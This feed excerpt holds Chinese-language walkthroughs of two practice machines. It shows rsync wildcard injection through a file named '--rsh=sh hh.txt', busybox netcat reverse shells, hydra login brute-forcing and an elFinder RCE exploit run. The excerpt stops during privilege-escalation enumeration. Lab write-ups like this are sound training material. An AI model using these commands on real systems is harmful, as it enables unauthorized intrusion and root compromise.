&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hyh@Guoqing:/home/segfault$ cat name1.txt 
sublarge
hyh@Guoqing:/home/segfault$ cat name2.txt 
bamuwe
hyh@Guoqing:/home/segfault$ cat name3.txt 
LingM
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;复现&lt;/h1&gt;
&lt;p&gt;唉，难受，看了wp才知道原来密码是segfaultno1&lt;/p&gt;
&lt;p&gt;上传pspy查看监控&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2026/01/18 00:40:01 CMD: UID=0     PID=1368   | /usr/sbin/CRON -f 
2026/01/18 00:40:01 CMD: UID=0     PID=1369   | /usr/sbin/CRON -f 
2026/01/18 00:40:01 CMD: UID=0     PID=1370   | /bin/sh -c cd /home/segfault &amp;amp;&amp;amp; 
rsync -t *.txt Guoqing:/tmp/backup/ 
2026/01/18 00:40:01 CMD: UID=0     PID=1371   | rsync -t name1.txt name2.txt 
name3.txt Guoqing:/tmp/backup/ 
2026/01/18 00:40:01 CMD: UID=0     PID=1372   | sshd: /usr/sbin/sshd -D 
[listener] 0 of 10-100 startups 
2026/01/18 00:40:01 CMD: UID=0     PID=1373   | sshd: [accepted]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rsync -t name1.txt name2.txt name3.txt Guoqing:/tmp/backup/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Guoqing-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/Guoqing-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;反弹shell&lt;/p&gt;
&lt;p&gt;不能用bash&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#!/bin/sh
busybox nc 192.168.0.106 4444 -e /bash/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;segfault@Guoqing:~$ echo &amp;#39;#!/bin/sh&amp;#39; &amp;gt;&amp;gt; hh.txt
segfault@Guoqing:~$ echo &amp;#39;busybox nc 192.168.0.106 4444-e /bin/sh&amp;#39; &amp;gt;&amp;gt; hh.txt
segfault@Guoqing:~$ chmod +x hh.txt 
segfault@Guoqing:~$ echo &amp;quot;&amp;quot; &amp;gt; &amp;#39;--rsh=sh hh.txt&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2026/01/18 00:59:01 CMD: UID=0     PID=1515   | /usr/sbin/CRON -f 
2026/01/18 00:59:01 CMD: UID=0     PID=1516   | /bin/sh -c cd /home/segfault &amp;amp;&amp;amp; 
rsync -t *.txt Guoqing:/tmp/backup/ 
2026/01/18 00:59:01 CMD: UID=0     PID=1517   | rsync -t --rsh=sh hh.txt -e sh 
hh.txt hh.txt name1.txt name2.txt name3.txt Guoqing:/tmp/backup/ 
2026/01/18 00:59:01 CMD: UID=0     PID=1518   | sh hh.txt Guoqing rsync --server 
-te.LsfxCIvu . /tmp/backup/ 
2026/01/18 00:59:01 CMD: UID=0     PID=1519   | /bin/sh 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿xhhui)-[/usr/share/pspy]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.170] 44252
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/qq-group/guoqing/&quot;&gt;https://heathc1iff-sec.github.io/blog/qq-group/guoqing/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 21 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Lookup</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/lookup/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/lookup/</guid><description>Enjoy it.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Lookup-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;

192.168.0.103   08:00:27:61:e7:ab       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;rustscan扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rustscan -a 192.168.0.103 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Open ports, closed hearts.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 192.168.0.103:22
Open 192.168.0.103:80

Nmap scan report for 192.168.0.103
Host is up, received arp-response (0.00041s latency).
Scanned at 2026-01-16 21:30:16 EST for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
|   256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://lookup.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:61:E7:AB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/16%OT=22%CT=%CU=34239%PV=Y%DS=1%DC=D%G=N%M=080027
OS:%TM=696AF43F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II
OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7
OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%
OS:W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 27.477 days (since Sat Dec 20 10:03:10 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.0.103

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:30
Completed NSE at 21:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:30
Completed NSE at 21:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:30
Completed NSE at 21:30, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds
           Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;添加hosts&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.103 lookup.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/RunasCs]
└─# gobuster dir -u http://lookup.hmv -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.hmv
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,db,bak,js,yaml,php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/login.php            (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 719]
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;http://lookup.hmv/&quot;&gt;http://lookup.hmv/&lt;/a&gt;index.php&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Lookup-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;
  &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
  &amp;lt;title&amp;gt;Login Page&amp;lt;/title&amp;gt;
  &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;styles.css&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
    &amp;lt;form action=&amp;quot;login.php&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;
      &amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;
      &amp;lt;div class=&amp;quot;input-group&amp;quot;&amp;gt;
        &amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;Username&amp;lt;/label&amp;gt;
        &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;username&amp;quot; name=&amp;quot;username&amp;quot; required&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&amp;quot;input-group&amp;quot;&amp;gt;
        &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;Password&amp;lt;/label&amp;gt;
        &amp;lt;input type=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; required&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Login&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;利用失败&lt;/h3&gt;
&lt;p&gt;尝试sql注入&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r post --batch                          
        ___
       __H__
 ___ ___[&amp;quot;]_____ ___ ___  {1.8.11#stable}
|_ -| . [&amp;#39;]     | .&amp;#39;| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:57:34 /2026-01-16/

[21:57:34] [INFO] parsing HTTP request from &amp;#39;post&amp;#39;
[21:57:34] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to &amp;#39;http://lookup.hmv&amp;#39;. Do you want to apply it from now on? [Y/n] Y
[21:57:34] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:57:34] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
[21:57:34] [WARNING] please consider usage of tamper scripts (option &amp;#39;--tamper&amp;#39;)
[21:57:34] [INFO] testing if the target URL content is stable
[21:57:35] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user&amp;#39;s manual paragraph &amp;#39;Page comparison&amp;#39;                                                                      
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[21:57:35] [INFO] searching for dynamic content
[21:57:35] [CRITICAL] target URL content appears to be heavily dynamic. sqlmap is going to retry the request(s)
[21:57:35] [WARNING] target URL content appears to be too dynamic. Switching to &amp;#39;--text-only&amp;#39;                                                                             
[21:57:35] [INFO] testing if POST parameter &amp;#39;username&amp;#39; is dynamic
[21:57:35] [INFO] POST parameter &amp;#39;username&amp;#39; appears to be dynamic
[21:57:35] [INFO] testing for SQL injection on POST parameter &amp;#39;username&amp;#39;
[21:57:35] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;                                                      
[21:57:35] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;                                                                     
[21:57:35] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[21:57:35] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                                                                                  
[21:57:35] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 AND time-based blind&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase time-based blind (IF)&amp;#39;
[21:57:35] [INFO] testing &amp;#39;Oracle AND time-based blind&amp;#39;
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[21:57:35] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 10 columns&amp;#39;
[21:57:35] [WARNING] POST parameter &amp;#39;username&amp;#39; does not seem to be injectable
[21:57:35] [INFO] testing if POST parameter &amp;#39;password&amp;#39; is dynamic
[21:57:35] [INFO] POST parameter &amp;#39;password&amp;#39; appears to be dynamic
[21:57:35] [INFO] testing for SQL injection on POST parameter &amp;#39;password&amp;#39;
[21:57:35] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;                                                      
[21:57:36] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;                                                                     
[21:57:36] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[21:57:36] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                                                                                  
[21:57:36] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 AND time-based blind&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase time-based blind (IF)&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Oracle AND time-based blind&amp;#39;
[21:57:36] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 10 columns&amp;#39;
[21:57:36] [WARNING] POST parameter &amp;#39;password&amp;#39; does not seem to be injectable
[21:57:36] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for &amp;#39;--level&amp;#39;/&amp;#39;--risk&amp;#39; options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option &amp;#39;--tamper&amp;#39; (e.g. &amp;#39;--tamper=space2comment&amp;#39;) and/or switch &amp;#39;--random-agent&amp;#39;                                                                      
[21:57:36] [WARNING] your sqlmap version is outdated

[*] ending @ 21:57:36 /2026-01-16/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;爆破用户和密码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hydra [选项] &amp;lt;目标&amp;gt; http-post-form &amp;quot;&amp;lt;路径&amp;gt;:&amp;lt;POST数据&amp;gt;:&amp;lt;失败特征&amp;gt;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;http-post-form&lt;/code&gt;&lt;strong&gt;必须是 3 段，用冒号分隔&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;URI : POST数据 : 失败特征
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali💀kali)-[~/temp/Lookup]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -f lookup.hmv http-post-form &amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:Wrong password&amp;quot; 
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-23 05:37:07
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&amp;amp;password=^PASS^:Wrong password
[80][http-post-form] host: lookup.hmv   login: admin   password: password123
[STATUS] attack finished for lookup.hmv (valid pair found)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试去看一下这个地址：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl http://lookup.hmv/login.php -X POST -d &amp;quot;username=admin&amp;amp;password=aaaa&amp;quot;
Wrong password. Please try again.&amp;lt;br&amp;gt;Redirecting in 3 seconds.                                                                                                                                                                                             
┌──(kali💀kali)-[~/temp/Lookup]
└─$ curl http://lookup.hmv/login.php -X POST -d &amp;quot;username=admin&amp;amp;password=password123&amp;quot;
Wrong username or password. Please try again.&amp;lt;br&amp;gt;Redirecting in 3 seconds.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 说明用户名不对，重新爆破一下：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(kali💀kali)-[~/temp/Lookup]
└─$ hydra -p password123 -L /usr/share/wordlists/rockyou.txt -f lookup.hmv http-post-form &amp;quot;/login.php:username=^USER^&amp;amp;password=^PASS^:Wrong username&amp;quot; 
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-23 05:40:21
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:14344399/p:1), ~896525 tries per task
[DATA] attacking http-post-form://lookup.hmv:80/login.php:username=^USER^&amp;amp;password=^PASS^:Wrong username
[STATUS] 4455.00 tries/min, 4455 tries in 00:01h, 14339944 to do in 53:39h, 16 active
[80][http-post-form] host: lookup.hmv   login: jose   password: password123
[STATUS] attack finished for lookup.hmv (valid pair found)
1 of 1 target successfully completed, 1 valid password found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录发现重定向至files.lookup.hmv&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Lookup-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;添加hosts&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.103 files.lookup.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;http://files.lookup.hmv/elFinder/elfinder.html&quot;&gt;files.lookup.hmv&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Lookup-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;elfinder 漏洞&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Lookup-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/hadrian3689/elFinder_2.1.47_php_connector_rce&quot;&gt;https://github.com/hadrian3689/elFinder_2.1.47_php_connector_rce&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 exploit.py -t &amp;#39;http://files.lookup.hmv/elFinder&amp;#39; -lh 192.168.0.106 -lp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 4444
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import iter_entry_points
[22:56:17] Welcome to pwncat 🐈!                                                                    __main__.py:164
[22:56:21] received connection from 192.168.0.103:51572                                                  bind.py:84
[22:56:22] 192.168.0.103:51572: registered new host w/ db                                            manager.py:957
(local) pwncat$ back
(remote) www-data@lookup:/var/www/files.lookup.hmv/public_html/elFinder/php$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-think&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@lookup:/home/think$ find / -perm -4000 -type f 2&amp;gt;/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/core20/1950/usr/bin/chfn
/snap/core20/1950/usr/bin/chsh
/snap/core20/1950/usr/bin/gpasswd
/snap/core20/1950/usr/bin/mount
/snap/core20/1950/usr/bin/newgrp
/snap/core20/1950/usr/bin/passwd
/snap/core20/1950/usr/bin/su
/snap/core20/1950/usr/bin/sudo
/snap/core20/1950/usr/bin/umount
/snap/core20/1950/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1950/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pwm
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/usr/sbin/pwm&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@lookup:/home/think$ strings /usr/sbin/pwm
/lib64/ld-linux-x86-64.so.2
libc.so.6
fopen
perror
puts
__stack_chk_fail
putchar
popen
fgetc
__isoc99_fscanf
fclose
pclose
__cxa_finalize
__libc_start_main
snprintf
GLIBC_2.4
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
[!] Running &amp;#39;id&amp;#39; command to extract the username and user ID (UID)
